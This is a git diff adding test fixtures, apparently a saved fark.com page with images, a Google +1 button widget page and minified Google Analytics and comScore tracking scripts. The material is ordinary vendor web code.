+ s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
+ el.parentNode.insertBefore(s, el);
+})();
+
+
+ var async_site_pixel_request_sent = 1;
+}
diff --git a/src/test/resources/s/Filer_for_fark/farktography.gif b/src/test/resources/s/Filer_for_fark/farktography.gif
new file mode 100644
index 0000000..b32f3d1
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/farktography.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/farktography_002.gif b/src/test/resources/s/Filer_for_fark/farktography_002.gif
new file mode 100644
index 0000000..c67bc50
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/farktography_002.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/fastbutton.htm b/src/test/resources/s/Filer_for_fark/fastbutton.htm
new file mode 100644
index 0000000..cb1330f
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/fastbutton.htm
@@ -0,0 +1,22 @@
+<!DOCTYPE html>
+<html dir="ltr" lang="en"><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"><!-- base href="https://plusone.google.com/" --><style type="text/css">.a-f-e{position:relative;display:-moz-inline-box;display:inline-block}* html .a-f-e,*:first-child+html .a-f-e{display:inline}p{width:500px}iframe{width:100%}.ZRa{float:left;white-space:nowrap}.g-rba-Dh-kQa{margin:0;padding:0;background-color:transparent}.g-rba-Dh-VYa{background-color:#fff;margin:0;padding:5px}.hAa{cursor:pointer;display:block;outline:0 [...]
+m.createElement("a");e.href=n;e.pathname=e.search=e.hash="";f=e.href.replace(/\/\??\#?$/,"")}else f="";var k=g(i,"pfname"),b={s:c,f:h,r:h,t:g(i,"rpctoken"),a:d||[""],g:"ping"};m.all?a.setTimeout(j,0):j()}},l;(window.gapi=window.gapi||{}).inline={ping:p,tick:function(c,d){p("widget-csi-tick-"+window.name,[c,null,d])},b:function(c){l=c}}; })();
+</script></head><body class="g-rba-Dh-kQa "><div id="root"><script type="text/javascript">window.__SSR = {c: 5116.0 ,si:1,su:1,e:'kristian.rosenvold at gmail.com',dn:'Kristian Rosenvold',a:'bubble',at:'AEIZW7RRW247qtYBwhDeaKTPeSPkWON\/14mMHY2ZOaSAKNoxHQeC2a2MKEtHGVdAziXq5Gqgijtf7ptvhbkijgFpwWs6oll0ZMnue6jzwm\/c6kNhy5PREqA\x3d',ld:[,[1,5116,[]
+,1,90]
+]
+,r:'http:\/\/www.fark.com\/',s:'widget',annd: 2.0 ,bp: {}, id:'http:\/\/www.fark.com\/'}; document.addEventListener && document.addEventListener('DOMContentLoaded', function () {gapi.inline.tick('wdc', new Date().getTime());}, false);</script><div id="plusone" dir="ltr" class="Bg"><span id="widget_bounds"><table cellpadding="0" cellspacing="0"><tbody><tr><td><div class="ZRa"><span id="button" class="hAa Qo Bg" title="+1" role="button" tabindex="0"><div class="YIa"></div></span></div></td [...]
+ var _DumpException = function(e) {
+ e['errsource'] = e['errsource'] || 'api_widget';
+ throw e;
+ }
+ </script><script>window['___jsl'] = window['___jsl'] || {}; window['___jsl']['ci'] = [{"services":{},"deviceType":"desktop","inline":{"css":1},"lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"report":{},"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"u [...]
+{});var E;E=x(v,"___jsl",A());x(E,"I",0);x(E,"hel",10);var G=function(){var a=aa.href,b;if(E.dpo)b=E.h;else{b=E.h;var c=RegExp("([#].*&|[#])jsh=([^&#]*)","g"),e=RegExp("([?#].*&|[?#])jsh=([^&#]*)","g");if(a=a&&(c.exec(a)||e.exec(a)))try{b=decodeURIComponent(a[2])}catch(d){}}return b},H=function(a){return x(x(E,"H",A()),a,A())};var I=x(E,"perf",A()),J=x(I,"g",A()),ea=x(I,"i",A());x(I,"r",[]);A();A();var M=function(a,b,c){var e=I.r;"function"===typeof e?e(a,b,c):e[m]([a,b,c])},O=function(a [...]
+var T=function(a){return a.join(",")[q](/\./g,"_")[q](/-/g,"_")},U=function(a,b){for(var c=[],e=0;e<a[s];++e){var d=a[e];d&&0>da.call(b,d)&&c[m](d)}return c},fa=/^[\/_a-zA-Z0-9,.\-!:=]+$/,ga=/^https?:\/\/[^\/\?#]+\.google\.com(:\d+)?\/[^\?#]+$/,ha=/\/cb=/g,ia=/\/\//g,ja=/^\/[a-z_]+\//,W=function(a){V(a)},V=function(a){var b=w.createElement(S);b.setAttribute("src",a);b.async="true";(a=w.getElementsByTagName(S)[0])?a.parentNode.insertBefore(b,a):(w.head||w.body||w.documentElement).appendCh [...]
+function(a,b){var c=b||{};"function"==typeof b&&(c={},c[R.a]=b);var e=c,d=e&&e[R.c];if(d)for(var h=0;h<Q[s];h++){var k=Q[h][0],r=Q[h][1];r&&Object.prototype.hasOwnProperty.call(d,k)&&r(d[k],a,e)}e=a?a.split(":"):[];if(!(d=c[R.d]))if(d=G(),!d)throw"Bad hint";h=d;k=x(E,"ah",A());if(!k["::"]||!e[s])X(e||[],c,h);else{d=[];for(r=g;r=e.shift();){var j=r.split("."),j=k[r]||k[j[1]&&"ns:"+j[0]||""]||h,t=d[s]&&d[d[s]-1]||g,n=t;if(!t||t.hint!=j)n={hint:j,b:[]},d[m](n);n.b[m](r)}var F=d[s];if(1<F){v [...]
+D&&(c[R.a]=function(){0==--F&&D()})}for(;e=d.shift();)X(e.b,c,e.hint)}},X=function(a,b,c){var e=a.sort();a=[];for(var d=void 0,h=0;h<e[s];h++){var k=e[h];k!=d&&a[m](k);d=k}a=a||[];var r=b[R.a],j=b[R.e],d=b[R.TIMEOUT],t=b[R.f],n=g,F=i;if(d&&!t||!d&&t)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";var e=x(H(c),"r",[]).sort(),D=x(H(c),"L",[]).sort(),K=[].concat(e),$=function(a,b){if(F)return 0;v.clearTimeout(n);D[m].apply(D,u);var d=((C||{}).config||{}) [...]
+d(j):j&&x(E,"cu",[])[m](j);if(b){O("me0",a,K);try{Z(function(){var a;a=c===G()?x(C,"_",A()):A();a=x(H(c),"_",a);b(a)})}finally{O("me1",a,K)}}r&&r();return 1};0<d&&(n=v.setTimeout(function(){F=f;t()},d));var u=U(a,D);if(u[s]){var u=U(a,e),y=x(E,"CP",[]),z=y[s];y[z]=function(a){if(!a)return 0;O("ml1",u,K);var b=function(){y[z]=g;return $(u,a)};if(0<z&&y[z-1])y[z]=b;else for(b();(b=y[++z])&&b(););};if(u[s]){var L="loaded_"+E.I++;C[L]=function(a){y[z](a);C[L]=g};a=c.split(";");a=(d=P[a.shift [...]
+if(!a)throw"Bad hint:"+c;d=a=a[q]("__features__",T(u))[q](/\/$/,"")+(e[s]?"/ed=1/exm="+T(e):"")+("/cb=gapi."+L);h=d.match(ia);k=d.match(ha);if(!k||!(1===k[s]&&ga[p](d)&&fa[p](d)&&h&&1===h[s]))throw"Bad URL "+a;e[m].apply(e,u);O("ml0",u,K);b[R.g]||v.___gapisync?(b=a,"loading"!=w.readyState?W(b):w.write("<"+S+' src="'+encodeURI(b)+'"></'+S+">")):W(a,b,L)}else y[z](ba)}else $(u)};var Z=function(a){if(E.hee&&0<E.hel)try{return a()}catch(b){E.hel--,Y("debug_error",function(){l.___jsl.hefn(b)} [...]
+w.createEventObject){var k=function(a){for(var b=0;b<ma[s];b++)w[a+"Event"](ma[b],r)};if(!na()){var r=function(a){k("detach");var b=w.createEventObject(a);oa();b.srcElement.fireEvent("on"+b.type,b);a.cancelBubble=f;a.stopPropagation&&a.stopPropagation()};k("attach")}}else e=i;if(e){var j=a,t=function(a){E.LE?a():x(E,"LQ",[])[m](a)};a=v.XMLHttpRequest;j=j[q](/^https?:\/\/[^\/]+\//,"/");if(!ja[p](j))throw"Bad URL "+j;var n=new a;n.open("GET",j,f);n.onreadystatechange=function(){if(4===n.re [...]
+n.status){var a=n.responseText,d=b.src_cb;d&&d();var e=i;l.GAPI_EVAL&&(a+="\n//@ sourceURL="+encodeURI(j),e=f);d=function(){if(ka[p](a)){var d=a,j=e,h=b.before_eval_cb;h&&h();B(v,d,j)}else C[c](function(){var c=a,d=e,h=b.before_eval_cb;h&&h();B(this,c,d)})};t?t(d):d()}else throw"Error requesting "+j+": "+n.statusText+"\nCurrent location: "+location.href;};n.send(g)}else V(a)};J.bs0=l.gapi._bs||(new Date).getTime();M("bs0");J.bs1=(new Date).getTime();M("bs1");delete l.gapi._bs;})();
+gapi.load("",{callback:window["gapi_onload"],_c:{"jsl":{"ci":{"services":{},"deviceType":"desktop","lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"inline":{"css":1},"report":{},"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"isPlusUser":true,"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"url":":socia [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/fbphotos.jpg b/src/test/resources/s/Filer_for_fark/fbphotos.jpg
new file mode 100644
index 0000000..db9eef9
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/fbphotos.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/flickrb.png b/src/test/resources/s/Filer_for_fark/flickrb.png
new file mode 100644
index 0000000..6e8ab24
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/flickrb.png differ
diff --git a/src/test/resources/s/Filer_for_fark/ga.js b/src/test/resources/s/Filer_for_fark/ga.js
new file mode 100644
index 0000000..f965547
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/ga.js
@@ -0,0 +1,59 @@
+(function(){var g=void 0,h=!0,j=null,l=!1,aa=encodeURIComponent,ba=Infinity,ca=setTimeout,n=Math,da=decodeURIComponent;function ea(a,b){return a.name=b}
+var p="push",fa="test",ia="slice",q="replace",ja="load",ka="floor",la="charAt",ma="value",r="indexOf",na="match",oa="port",pa="createElement",qa="path",s="name",v="host",w="toString",x="length",y="prototype",ra="clientWidth",z="split",sa="stopPropagation",ta="scope",A="location",ua="search",B="protocol",va="clientHeight",wa="href",C="substring",xa="apply",ya="navigator",D="join",E="toLowerCase",F;function za(a,b){switch(b){case 0:return""+a;case 1:return 1*a;case 2:return!!a;case 3:retur [...]
+function H(a,b){if(aa instanceof Function)return b?encodeURI(a):aa(a);I(68);return escape(a)}function J(a){a=a[z]("+")[D](" ");if(da instanceof Function)try{return da(a)}catch(b){I(17)}else I(68);return unescape(a)}var Fa=function(a,b,c,d){a.addEventListener?a.addEventListener(b,c,!!d):a.attachEvent&&a.attachEvent("on"+b,c)},Ga=function(a,b,c,d){a.removeEventListener?a.removeEventListener(b,c,!!d):a.detachEvent&&a.detachEvent("on"+b,c)};
+function Ha(a,b){if(a){var c=K[pa]("script");c.type="text/javascript";c.async=h;c.src=a;c.id=b;var d=K.getElementsByTagName("script")[0];d.parentNode.insertBefore(c,d);return c}}function L(a){return a&&0<a[x]?a[0]:""}function Ia(a){var b=a?a[x]:0;return 0<b?a[b-1]:""}var Ja=function(){this.prefix="ga.";this.R={}};Ja[y].set=function(a,b){this.R[this.prefix+a]=b};Ja[y].get=function(a){return this.R[this.prefix+a]};Ja[y].contains=function(a){return this.get(a)!==g};function Ka(a){0==a[r]("w [...]
+function Oa(a,b){function c(a){var b=(a.hostname||"")[z](":")[0][E](),c=(a[B]||"")[E](),c=1*a[oa]||("http:"==c?80:"https:"==c?443:"");a=a.pathname||"";0==a[r]("/")||(a="/"+a);return[b,""+c,a]}var d=b||K[pa]("a");d.href=K[A][wa];var e=(d[B]||"")[E](),f=c(d),k=d[ua]||"",m=e+"//"+f[0]+(f[1]?":"+f[1]:"");0==a[r]("//")?a=e+a:0==a[r]("/")?a=m+a:!a||0==a[r]("?")?a=m+f[2]+(a||k):0>a[z]("/")[0][r](":")&&(a=m+f[2][C](0,f[2].lastIndexOf("/"))+"/"+a);d.href=a;e=c(d);return{protocol:(d[B]||"")[E](),h [...]
+port:e[1],path:e[2],Oa:d[ua]||"",url:a||""}}function Ma(a,b){function c(b,c){a.contains(b)||a.set(b,[]);a.get(b)[p](c)}for(var d=Ca(b)[z]("&"),e=0;e<d[x];e++)if(d[e]){var f=d[e][r]("=");0>f?c(d[e],"1"):c(d[e][C](0,f),d[e][C](f+1))}}function Pa(a,b){if(G(a)||"["==a[la](0)&&"]"==a[la](a[x]-1))return"-";var c=K.domain;return a[r](c+(b&&"/"!=b?b:""))==(0==a[r]("http://")?7:0==a[r]("https://")?8:0)?"0":a};var Qa=0;function Ra(a,b,c){!(1<=Qa)&&!(1<=100*n.random())&&(a=["utmt=error","utmerr="+a [...]
+var Wa=N(),Xa=Va("anonymizeIp"),Ya=N(),$a=N(),ab=N(),bb=N(),O=N(),P=N(),cb=N(),db=N(),eb=N(),fb=N(),gb=N(),hb=N(),ib=N(),jb=N(),kb=N(),lb=N(),nb=N(),ob=N(),pb=N(),qb=N(),rb=N(),sb=N(),tb=N(),ub=N(),vb=N(),wb=N(),xb=N(),yb=N(),zb=N(),Ab=N(),Bb=N(),Cb=N(),Db=N(),Eb=N(),Fb=N(h),Gb=Va("currencyCode"),Hb=Va("page"),Ib=Va("title"),Jb=N(),Kb=N(),Lb=N(),Mb=N(),Nb=N(),Ob=N(),Pb=N(),Qb=N(),Rb=N(),Q=N(h),Sb=N(h),Tb=N(h),Ub=N(h),Vb=N(h),Wb=N(h),Zb=N(h),$b=N(h),ac=N(h),bc=N(h),cc=N(h),R=N(h),dc=N(h), [...]
+N(h),gc=N(h),hc=N(h),ic=N(h),jc=N(h),S=N(h),kc=N(h),lc=N(h),mc=N(h),nc=N(h),oc=N(h),pc=N(h),qc=N(h),rc=Va("campaignParams"),sc=N(),tc=Va("hitCallback"),uc=N();N();var vc=N(),wc=N(),xc=N(),yc=N(),zc=N(),Ac=N(),Bc=N(),Cc=N(),Dc=N(),Ec=N(),Fc=N(),Gc=N(),Hc=N(),Ic=N();N();var Mc=N(),Nc=N(),Oc=N();function Pc(a){var b=this.plugins_;if(b)return b.get(a)}var T=function(a,b,c,d){a[b]=function(){try{return d!=g&&I(d),c[xa](this,arguments)}catch(a){throw Ra("exc",b,a&&a[s]),a;}}},Qc=function(a,b,c [...]
+function(c,d,e){Ua[c]&&this[ja]();e?b[c]=d:a[c]=d;Ua[c]&&this.n()};this.z=function(b){a[b]=this.b(b,0)+1};this.b=function(a,b){var c=this.get(a);return c==g||""===c?b:1*c};this.c=function(a,b){var c=this.get(a);return c==g?b:c+""};this.Ka=function(){if(k){var b=this.c(bb,""),c=this.c(P,"/");Sc(b,c)||(a[O]=a[hb]&&""!=b?Yc(b):1,k=l)}}};Zc[y].stopPropagation=function(){throw"aborted";};
+var Vc=function(a){var b=this;this.q=0;var c=a.get(tc);this.Ua=function(){0<b.q&&c&&(b.q--,b.q||c())};this.Ja=function(){!b.q&&c&&ca(c,10)};a.set(uc,b,h)};function $c(a,b){b=b||[];for(var c=0;c<b[x];c++){var d=b[c];if(""+a==d||0==d[r](a+"."))return d}return"-"}
+var bd=function(a,b,c){c=c?"":a.c(O,"1");b=b[z](".");if(6!==b[x]||ad(b[0],c))return l;c=1*b[1];var d=1*b[2],e=1*b[3],f=1*b[4];b=1*b[5];if(!(0<=c&&0<d&&0<e&&0<f&&0<=b))return l;a.set(Q,c);a.set(Vb,d);a.set(Wb,e);a.set(Zb,f);a.set($b,b);return h},cd=function(a){var b=a.get(Q),c=a.get(Vb),d=a.get(Wb),e=a.get(Zb),f=a.b($b,1);return[a.b(O,1),b!=g?b:"-",c||"-",d||"-",e||"-",f][D](".")},dd=function(a){return[a.b(O,1),a.b(cc,0),a.b(R,1),a.b(dc,0)][D](".")},ed=function(a,b,c){c=c?"":a.c(O,"1");va [...]
+if(4!==d[x]||ad(d[0],c))d=j;a.set(cc,d?1*d[1]:0);a.set(R,d?1*d[2]:10);a.set(dc,d?1*d[3]:a.get(ab));return d!=j||!ad(b,c)},fd=function(a,b){var c=H(a.c(Tb,"")),d=[],e=a.get(Fb);if(!b&&e){for(var f=0;f<e[x];f++){var k=e[f];k&&1==k[ta]&&d[p](f+"="+H(k[s])+"="+H(k[ma])+"=1")}0<d[x]&&(c+="|"+d[D]("^"))}return c?a.b(O,1)+"."+c:j},gd=function(a,b,c){c=c?"":a.c(O,"1");b=b[z](".");if(2>b[x]||ad(b[0],c))return l;b=b[ia](1)[D](".")[z]("|");0<b[x]&&a.set(Tb,J(b[0]));if(1>=b[x])return h;b=b[1][z](-1= [...]
+"^":",");for(c=0;c<b[x];c++){var d=b[c][z]("=");if(4==d[x]){var e={};ea(e,J(d[1]));e.value=J(d[2]);e.scope=1;a.get(Fb)[d[0]]=e}}return h},hd=function(a){var b;b=function(b,e){if(!G(a.get(b))){var f=a.c(b,""),f=f[z](" ")[D]("%20"),f=f[z]("+")[D]("%20");c[p](e+"="+f)}};var c=[];b(ic,"utmcid");b(nc,"utmcsr");b(S,"utmgclid");b(kc,"utmgclsrc");b(lc,"utmdclid");b(mc,"utmdsid");b(jc,"utmccn");b(oc,"utmcmd");b(pc,"utmctr");b(qc,"utmcct");return(b=c[D]("|"))?[a.b(O,1),a.b(ec,0),a.b(fc,1),a.b(gc,1 [...]
+""},id=function(a,b,c){c=c?"":a.c(O,"1");b=b[z](".");if(5>b[x]||ad(b[0],c))return a.set(ec,g),a.set(fc,g),a.set(gc,g),a.set(ic,g),a.set(jc,g),a.set(nc,g),a.set(oc,g),a.set(pc,g),a.set(qc,g),a.set(S,g),a.set(kc,g),a.set(lc,g),a.set(mc,g),l;a.set(ec,1*b[1]);a.set(fc,1*b[2]);a.set(gc,1*b[3]);var d=b[ia](4)[D](".");b=function(a){return(a=d[na](a+"=(.*?)(?:\\|utm|$)"))&&2==a[x]?a[1]:g};c=function(b,c){c?(c=e?J(c):c[z]("%20")[D](" "),a.set(b,c)):a.set(b,g)};-1==d[r]("=")&&(d=J(d));var e="2"==b [...]
+c(ic,b("utmcid"));c(jc,b("utmccn"));c(nc,b("utmcsr"));c(oc,b("utmcmd"));c(pc,b("utmctr"));c(qc,b("utmcct"));c(S,b("utmgclid"));c(kc,b("utmgclsrc"));c(lc,b("utmdclid"));c(mc,b("utmdsid"));return h},ad=function(a,b){return b?a!=b:!/^\d+$/[fa](a)};var Uc=function(){this.filters=[]};Uc[y].add=function(a,b){this.filters[p]({name:a,s:b})};Uc[y].execute=function(a){try{for(var b=0;b<this.filters[x];b++)this.filters[b].s.call(W,a)}catch(c){}};function jd(a){100!=a.get(vb)&&a.get(Q)%1E4>=100*a.ge [...]
+a=a+"="+b+"; path="+c+"; ";f&&(a+="expires="+(new Date((new Date).getTime()+f)).toGMTString()+"; ");d&&(a+="domain="+d+";");K.cookie=a}};var qd,rd,sd=function(){if(!qd){var a={},b=W[ya],c=W.screen;a.Q=c?c.width+"x"+c.height:"-";a.P=c?c.colorDepth+"-bit":"-";a.language=(b&&(b.language||b.browserLanguage)||"-")[E]();a.javaEnabled=b&&b.javaEnabled()?1:0;a.characterSet=K.characterSet||K.charset||"-";try{var d=K.documentElement,e=K.body,f=e&&e[ra]&&e[va],b=[];d&&(d[ra]&&d[va])&&("CSS1Compat"= [...]
+b.version+a.language+b.platform+b.userAgent+a.javaEnabled+a.Q+a.P+(K.cookie?K.cookie:"")+(K.referrer?K.referrer:""),b=a[x],c=W.history[x];0<c;)a+=c--^b++;return Yc(a)},ud=function(a){sd();var b=qd;a.set(Lb,b.Q);a.set(Mb,b.P);a.set(Pb,b.language);a.set(Qb,b.characterSet);a.set(Nb,b.javaEnabled);a.set(Rb,b.Wa);if(a.get(ib)&&a.get(jb)){if(!(b=rd)){var c,d,e;d="ShockwaveFlash";if((b=(b=W[ya])?b.plugins:g)&&0<b[x])for(c=0;c<b[x]&&!e;c++)d=b[c],-1<d[s][r]("Shockwave Flash")&&(e=d.description[z [...]
+else{d=d+"."+d;try{c=new ActiveXObject(d+".7"),e=c.GetVariable("$version")}catch(f){}if(!e)try{c=new ActiveXObject(d+".6"),e="WIN 6,0,21,0",c.AllowScriptAccess="always",e=c.GetVariable("$version")}catch(k){}if(!e)try{c=new ActiveXObject(d),e=c.GetVariable("$version")}catch(m){}e&&(e=e[z](" ")[1][z](","),e=e[0]+"."+e[1]+" r"+e[2])}b=e?e:"-"}rd=b;a.set(Ob,rd)}else a.set(Ob,"-")};var vd=function(a){if(Aa(a))this.s=a;else{var b=a[0],c=b.lastIndexOf(":"),d=b.lastIndexOf(".");this.h=this.i=thi [...]
+"_createAsyncTracker",Y[y].Sa,33);T(Y[y],"_getAsyncTracker",Y[y].Ta,34);this.I=new Ja;this.p=[]};F=Y[y];F.Na=function(a,b,c){var d=this.I.get(a);if(!Aa(d))return l;b.plugins_=b.plugins_||new Ja;b.plugins_.set(a,new d(b,c||{}));return h};F.push=function(a){var b=Z.Va[xa](this,arguments),b=Z.p.concat(b);for(Z.p=[];0<b[x]&&!Z.O(b[0])&&!(b.shift(),0<Z.p[x]););Z.p=Z.p.concat(b);return 0};F.Va=function(a){for(var b=[],c=0;c<arguments[x];c++)try{var d=new vd(arguments[c]);d.J?this.O(d):b[p](d)} [...]
+F.O=function(a){try{if(a.s)a.s[xa](W);else if(a.J)this.I.set(a.k[0],a.k[1]);else{var b="_gat"==a.i?M:"_gaq"==a.i?Z:M.u(a.i);if(a.Ma){if(!this.Na(a.k[0],b,a.k[2])){if(!a.Pa){var c=Oa(""+a.k[1]);var d=c[B],e=K[A][B];var f;if(f="https:"==d||d==e?h:"http:"!=d?l:"http:"==e){var k;a:{var m=Oa(K[A][wa]);if(!(c.Oa||0<=c.url[r]("?")||0<=c[qa][r]("://")||c[v]==m[v]&&c[oa]==m[oa]))for(var t="http:"==c[B]?80:443,u=M.S,b=0;b<u[x];b++)if(c[v]==u[b][0]&&(c[oa]||t)==(u[b][1]||t)&&0==c[qa][r](u[b][2])){k [...]
+l}f=k&&!ld()}f&&(a.Pa=Ha(c.url))}return h}}else a.l&&(b=b.plugins_.get(a.l)),b[a.h][xa](b,a.k)}}catch(Za){}};F.Sa=function(a,b){return M.r(a,b||"")};F.Ta=function(a){return M.u(a)};var yd=function(){function a(a,b,c,d){g==f[a]&&(f[a]={});g==f[a][b]&&(f[a][b]=[]);f[a][b][c]=d}function b(a,b,c){if(g!=f[a]&&g!=f[a][b])return f[a][b][c]}function c(a,b){if(g!=f[a]&&g!=f[a][b]){f[a][b]=g;var c=h,d;for(d=0;d<k[x];d++)if(g!=f[a][k[d]]){c=l;break}c&&(f[a]=g)}}function d(a){var b="",c=l,d,e;for(d= [...]
+Cd[la](Yb),Lc=Na[Kc],Jc+=g!=Lc?Lc:Kc;f+=Jc;c[p](f)}b+=m+c[D](u)+t;c=l}else c=h;return b}var e=this,f=[],k=["k","v"],m="(",t=")",u="*",Za="!",Na={"'":"'0"};Na[t]="'1";Na[u]="'2";Na[Za]="'3";var mb=1;e.Ra=function(a){return g!=f[a]};e.A=function(){for(var a="",b=0;b<f[x];b++)g!=f[b]&&(a+=b[w]()+d(f[b]));return a};e.Qa=function(a){if(a==g)return e.A();for(var b=a.A(),c=0;c<f[x];c++)g!=f[c]&&!a.Ra(c)&&(b+=c[w]()+d(f[c]));return b};e.f=function(b,c,d){if(!wd(d))return l;a(b,"k",c,d);return h} [...]
+c,d){if(!xd(d))return l;a(b,"v",c,d[w]());return h};e.getKey=function(a,c){return b(a,"k",c)};e.N=function(a,c){return b(a,"v",c)};e.L=function(a){c(a,"k")};e.M=function(a){c(a,"v")};T(e,"_setKey",e.f,89);T(e,"_setValue",e.o,90);T(e,"_getKey",e.getKey,87);T(e,"_getValue",e.N,88);T(e,"_clearKey",e.L,85);T(e,"_clearValue",e.M,86)};function wd(a){return"string"==typeof a}function xd(a){return"number"!=typeof a&&(g==Number||!(a instanceof Number))||n.round(a)!=a||NaN==a||a==ba?l:h};var zd=fu [...]
+pd("__utmb")));a.set(bc,c);id(a,$c(b,pd("__utmz")));gd(a,$c(b,pd("__utmv")));Ed=!c;return h},Gd=function(a){!Ed&&!(0<pd("__utmb")[x])&&(X("__utmd","1",a.c(P,"/"),a.c(bb,""),a.c(Wa,""),1E4),0==pd("__utmd")[x]&&a[sa]())};var Jd=function(a){a.get(Q)==g?Hd(a):a.get(Ub)&&!a.get(Mc)?Hd(a):a.get(bc)&&Id(a)},Kd=function(a){a.get(hc)&&!a.get(ac)&&(Id(a),a.set(fc,a.get($b)))},Hd=function(a){var b=a.get(ab);a.set(Sb,h);a.set(Q,Da()^td(a)&2147483647);a.set(Tb,"");a.set(Vb,b);a.set(Wb,b);a.set(Zb,b); [...]
+!a.get(Mc)){for(var b=!G(a.get(ic))||!G(a.get(nc))||!G(a.get(S))||!G(a.get(lc)),c={},d=0;d<Md[x];d++){var e=Md[d];c[e]=a.get(e)}(d=a.get(rc))?(I(149),e=new Ja,Ma(e,d),d=e):d=La(K[A][wa],a.get(gb)).d;if(!("1"==Ia(d.get(a.get(ub)))&&b)){var f=d,k=function(b,c){c=c||"-";var d=Ia(f.get(a.get(b)));return d&&"-"!=d?J(d):c},d=Ia(f.get(a.get(nb)))||"-",e=Ia(f.get(a.get(qb)))||"-",m=Ia(f.get(a.get(pb)))||"-",t=Ia(f.get("gclsrc"))||"-",u=Ia(f.get("dclid"))||"-",Za=k(ob,"(not set)"),Na=k(rb,"(not s [...]
+k(sb),k=k(tb);if(G(d)&&G(m)&&G(u)&&G(e))d=l;else{var Xb=!G(m)&&!G(t),Xb=G(e)&&(!G(u)||Xb),Bd=G(mb);if(Xb||Bd){var ga=Nd(a),ga=La(ga,h);if((ga=Od(a,ga))&&!G(ga[1]&&!ga[2]))Xb&&(e=ga[0]),Bd&&(mb=ga[1])}Pd(a,d,e,m,t,u,Za,Na,mb,k);d=h}d=d||Qd(a);!d&&(!b&&a.get(ac))&&(Pd(a,g,"(direct)",g,g,g,"(direct)","(none)",g,g),d=h);if(d&&(a.set(hc,Rd(a,c)),b="(direct)"==a.get(nc)&&"(direct)"==a.get(jc)&&"(none)"==a.get(oc),a.get(hc)||a.get(ac)&&!b))a.set(ec,a.get(ab)),a.set(fc,a.get($b)),a.z(gc)}}},Qd=f [...]
+Nd(a),c=La(b,h);if(!(b!=g&&b!=j&&""!=b&&"0"!=b&&"-"!=b&&0<=b[r]("://"))||c&&-1<c[v][r]("google")&&c.d.contains("q")&&"cse"==c[qa])return l;if((b=Od(a,c))&&!b[2])return Pd(a,g,b[0],g,g,g,"(organic)","organic",b[1],g),h;if(b||!a.get(ac))return l;a:{for(var b=a.get(Bb),d=Ka(c[v]),e=0;e<b[x];++e)if(-1<d[r](b[e])){a=l;break a}Pd(a,g,d,g,g,g,"(referral)","referral",g,"/"+c[qa]);a=h}return a},Od=function(a,b){for(var c=a.get(zb),d=0;d<c[x];++d){var e=c[d][z](":");if(-1<b[v][r](e[0][E]())){var f [...]
+if(f&&(f=L(f),!f&&-1<b[v][r]("google.")&&(f="(not provided)"),!e[3]||-1<b.url[r](e[3]))){a:{for(var c=f,d=a.get(Ab),c=J(c)[E](),k=0;k<d[x];++k)if(c==d[k]){c=h;break a}c=l}return[e[2]||e[0],f,c]}}}return j},Pd=function(a,b,c,d,e,f,k,m,t,u){a.set(ic,b);a.set(nc,c);a.set(S,d);a.set(kc,e);a.set(lc,f);a.set(jc,k);a.set(oc,m);a.set(pc,t);a.set(qc,u)},Md=[jc,ic,S,lc,nc,oc,pc,qc],Rd=function(a,b){function c(a){a=(""+a)[z]("+")[D]("%20");return a=a[z](" ")[D]("%20")}function d(c){var d=""+(a.get( [...]
+""+(b[c]||"");return 0<d[x]&&d==c}if(d(S)||d(lc))return I(131),l;for(var e=0;e<Md[x];e++){var f=Md[e],k=b[f]||"-",f=a.get(f)||"-";if(c(k)!=c(f))return h}return l},Td=RegExp(/^https:\/\/(www\.)?google(\.com?)?(\.[a-z]{2}t?)?\/?$/i),Nd=function(a){a=Pa(a.get(Jb),a.get(P));try{if(Td[fa](a))return I(136),a+"?q="}catch(b){I(145)}return a};var Ud,Vd,Wd=function(a){Ud=a.c(S,"");Vd=a.c(kc,"")},Xd=function(a){var b=a.c(S,""),c=a.c(kc,"");b!=Ud&&(-1<c[r]("ds")?a.set(mc,g):!G(Ud)&&-1<Vd[r]("ds")&&a [...]
+var e=dd(a)||"-",f=""+a.b(O,1)||"-",k=be(a)||"-",m=hd(a,l)||"-";a=fd(a,l)||"-";var t=Yc(""+d+e+f+k+m+a),u=[];u[p]("__utma="+d);u[p]("__utmb="+e);u[p]("__utmc="+f);u[p]("__utmx="+k);u[p]("__utmz="+m);u[p]("__utmv="+a);u[p]("__utmk="+t);d=u[D]("&");if(!d)return b;e=b[r]("#");if(c)return 0>e?b+"#"+d:b+"&"+d;c="";f=b[r]("?");0<e&&(c=b[C](e),b=b[C](0,e));return 0>f?b+"?"+d+c:b+"&"+d+c},$d=function(a,b,c,d){for(var e=0;3>e;e++){for(var f=0;3>f;f++){if(d==Yc(a+b+c))return I(127),[b,c];var k=b[q [...]
